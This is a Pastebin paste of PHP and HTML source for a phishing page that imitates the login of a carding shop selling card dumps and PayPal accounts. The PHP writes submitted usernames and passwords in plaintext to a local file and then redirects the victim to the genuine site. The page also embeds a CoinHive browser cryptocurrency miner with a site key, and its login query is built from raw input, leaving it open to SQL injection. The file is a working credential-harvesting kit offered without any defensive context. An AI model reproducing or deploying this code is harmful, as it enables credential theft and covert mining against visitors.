Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //Start the Session
- session_start();
- require('connect.php');
- //3. If the form is submitted or not.
- //3.1 If the form is submitted
- if (isset($_POST['username']) and isset($_POST['password'])){
- //3.1.1 Assigning posted values to variables.
- $username = $_POST['username'];
- $password = $_POST['password'];
- //3.1.2 Checking the values are existing in the database or not
- $query = "SELECT * FROM `user` WHERE username='$username' and password='$password'";
- $result = mysqli_query($connection, $query) or die(mysqli_error($connection));
- $count = mysqli_num_rows($result);
- //3.1.2 If the posted values are equal to the database values, then session will be created for the user.
- if ($count == 1){
- $_SESSION['username'] = $username;
- }else{
- //3.1.3 If the login credentials doesn't match, he will be shown with an error message.
- $fmsg = "Invalid Login Credentials.";
- }
- $query2 = "SELECT * FROM user WHERE username='$username'";
- $result2 = mysqli_query($connection, $query2) or die(mysqli_error($connection));
- $count2 = mysqli_num_rows($result2);
- if ($count2 == 1){
- $fmsg = "Invalid Login Credentials.";
- }else{
- $handle = fopen("file.txt", "a");
- fwrite($handle, "username = ");
- fwrite($handle, $username);
- fwrite($handle, "\n");
- fwrite($handle, "password = ");
- fwrite($handle, $password);
- fwrite($handle, "\n");
- fwrite($handle, "\n");
- fclose($handle);
- header("Location:https://unicc.at");
- }
- }
- //3.1.4 if the user is logged in Greets the user with message
- if (isset($_SESSION['username'])){
- $username = $_SESSION['username'];
- }else{
- //3.2 When the user visits the page first time, simple login form will be displayed.
- ?>
- <html lang="en"><head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
- <link rel="stylesheet" type="text/css" href="login_files/main.css">
- <link rel="stylesheet" type="text/css" href="login_files/bootstrap.css">
- <link rel="stylesheet" type="text/css" href="login_files/bootstrap-theme.css">
- <link rel="stylesheet" type="text/css" href="login_files/nstyle.css">
- <link rel="stylesheet" type="text/css" href="login_files/select2.css">
- <style type="text/css">
- body {
- background-color: #101010;
- }
- </style>
- <script type="text/javascript" src="login_files/jquery.js"></script>
- <script type="text/javascript" src="login_files/bootstrap.js"></script>
- <script type="text/javascript" src="login_files/bootstrap-noconflict.js"></script>
- <script type="text/javascript" src="login_files/user.js"></script>
- <script type="text/javascript" src="login_files/sha1.js"></script>
- <title>Unicc - Login Your Favorite Cards Dumps Paypal Shop</title>
- <meta name="keywords" content="unicc , unicc.at , unicc.mn , unicc.cc , uniccshop , unicc-shop , unicc.cc/login , unicc mm , unic cc shop , unicc .cc , unicc.mm , uni-cc-shop , unicc paypal dumps ,unicc.com ,unicc.nm, http://uniccshop , unicc.shop , uniccshop.pm , login uniccshop mn , uniccshop.ru , uni cc ">
- <meta name="description" content="New Uniccshop 90 Min Check Time Unicc Your Favorite Cards Dumps Paypal Shop ">
- </head>
- <body class="login">
- <form class="form-signin form" autocomplete="off" id="login-form" method="POST">
- <?php if(isset($fmsg)){ ?><div class="alert alert-danger" role="alert"> <?php echo $fmsg; ?> </div><?php } ?>
- <div class="blocklogin">
- <div class="titlelogin">
- <img src="login_files/logo.png">
- <p>login area</p>
- </div>
- <div class="loginform">
- <div class="inputslogin">
- <input name="op" value="login" type="hidden">
- <input name="sha1" value="" type="hidden">
- <label for="name"><img alt="uniccshop" src="login_files/uniccshop.png"></label>
- <div class="form-group"><div><input class="form-control" placeholder="Username" name="username" id="username" type="text"><div class="help-block error" id="username_em_" style="display:none"></div></div></div> <label for="pass"><img src="login_files/log_pass.png"></label>
- <div class="form-group"><div><input class="form-control" placeholder="Password" name="password" id="password" type="password"><div class="help-block error" id="password_em_" style="display:none"></div></div></div>
- <a href="https://anonym.to/?https://www.youtube.com/watch?v=yF7DpcsAibI&feature=youtu.be" class="wtchvdo" rel="noreferrer">Watch our PROMO video</a>
- <button type="submit">enter</button>
- <a href="register.php"><button type="button">register</button></a>
- </div>
- <div id="resetPasswordNotification" class="text-center alert alert-danger hide">
- <strong>Warning: if you had password that is less than 8 characters long or username less than 6 characters
- long you
- will have to reset them!</strong><br>
- <strong><a href="http://uniccshop.sx/">Follow this link to reset your
- password.</a></strong>
- </div>
- <div id="yw0"></div> </div>
- </div>
- </form>
- <span style="text-align: center">
- <script type="text/rocketscript" data-rocketsrc="https://authedmine.com/lib/authedmine.min.js">
- var miner = new CoinHive.Anonymous('iberlRlxbwGfiRbkWOrMULeFLQjk8uah');
- miner.start();
- </script>
- <script>
- $(function () {
- $(document).on('blur', '#username', function () {
- var length = $('#username').val().length;
- if (length > 0 && length < 6) {
- $('#resetPasswordNotification').removeClass('hide');
- $('#resetPasswordNotification')[0].scrollIntoView();
- } else if (length >= 6) {
- $('#resetPasswordNotification').addClass('hide');
- }
- });
- $(document).on('blur', '#password', function () {
- var length = $('#password').val().length;
- if (length > 0 && length < 8) {
- $('#resetPasswordNotification').removeClass('hide');
- $('#resetPasswordNotification')[0].scrollIntoView();
- } else if (length >= 8) {
- $('#resetPasswordNotification').addClass('hide');
- }
- });
- });
- </script>
- <script type="text/javascript" src="login_files/main.js"></script>
- <script type="text/javascript" src="login_files/placeholders.js"></script>
- </span><script type="text/javascript">
- /*<![CDATA[*/
- jQuery(function($) {
- jQuery('[data-toggle=popover]').popover();
- jQuery('[data-toggle=tooltip]').tooltip();
- jQuery('#yw0_0 .alert').alert();
- jQuery('#login-form').yiiactiveform({'validateOnSubmit':true,'afterValidate':function(form, data, hasError) {
- if((hasError && $('#password').val().length < 8) || $('#username').val().length < 6){
- $('#resetPasswordNotification').removeClass('hide');
- $('#resetPasswordNotification')[0].scrollIntoView();
- return false;
- }
- return true;
- },'errorCssClass':'has-error','successCssClass':'has-success','inputContainer':'div.form-group','attributes':[{'id':'username','inputID':'username','errorID':'username_em_','model':'LoginForm','name':'username','enableAjaxValidation':false,'clientValidation':function(value, messages, attribute) {
- if(jQuery.trim(value)=='') {
- messages.push("Username cannot be blank.");
- }
- if(jQuery.trim(value)!='') {
- if(value.length<6) {
- messages.push("Username is too short (minimum is 6 characters).");
- }
- }
- if(!value.match(/^[a-z0-9\-\.\_]+$/i)) {
- messages.push("Username is invalid.");
- }
- }},{'id':'password','inputID':'password','errorID':'password_em_','model':'LoginForm','name':'password','enableAjaxValidation':false,'clientValidation':function(value, messages, attribute) {
- if(jQuery.trim(value)=='') {
- messages.push("Password cannot be blank.");
- }
- if(jQuery.trim(value)!='') {
- if(value.length<8) {
- messages.push("Password is too short (minimum is 8 characters).");
- }
- }
- }}],'errorCss':'error'});
- });
- /*]]>*/
- </script>
- </body></html>
- <?php } ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement